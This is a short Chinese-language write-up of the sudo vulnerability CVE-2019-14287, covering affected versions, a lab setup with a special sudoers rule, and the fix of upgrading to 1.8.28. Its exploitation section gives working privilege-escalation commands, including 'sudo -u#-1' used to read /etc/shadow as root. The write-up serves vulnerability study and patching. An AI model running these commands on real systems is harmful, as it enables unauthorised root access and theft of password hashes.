2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
0x00 简介
sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
0x01 漏洞概述
该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令。个人觉得该漏洞比较鸡肋,因为需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。
0x02 影响版本
Sudo版本 < 1.8.28
0x03 环境搭建
任何linux机器上执行sudo -V得到的版本 < 1.8.28均可
本人使用的环境为sudo 1.8.16
由于需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)
在 root ALL=(ALL:ALL) ALL 下面添加一行配置:
test ALL=(ALL,!root) ALL
1.其中的test表示用户名
2.第一个ALL表示允许该用户在任意机器或者终端中使用sudo
3.括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
4.最后一个ALL表示被允许执行
添加的这一行的配置的意思就是:test这个用户可以使用sudo命令,以除了root以外的任意身份去执行命令。
0x04 漏洞利用
1.首先切换到test用户:
su test
2.执行 sudo whoami
失败
3.执行sudo -u#id whoami
这里的id可以去试任何id,我在/etc/group
里挑选了test自身的id:1001
执行sudo -u#1001 whoami
成功
执行sudo -u#-1 whoami
成功
4.尝试高权限操作
执行cat /etc/shadow
失败
执行sudo -u#-1 cat /etc/shadow
成功
5.解释:
使用 sudo -u#id
指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1
或者-u#4294967295
绕过限制,从而以root身份去执行任意代码:这是因为 sudo 命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。
0x05 修复方式
更新至 Sudo 1.8.28 版本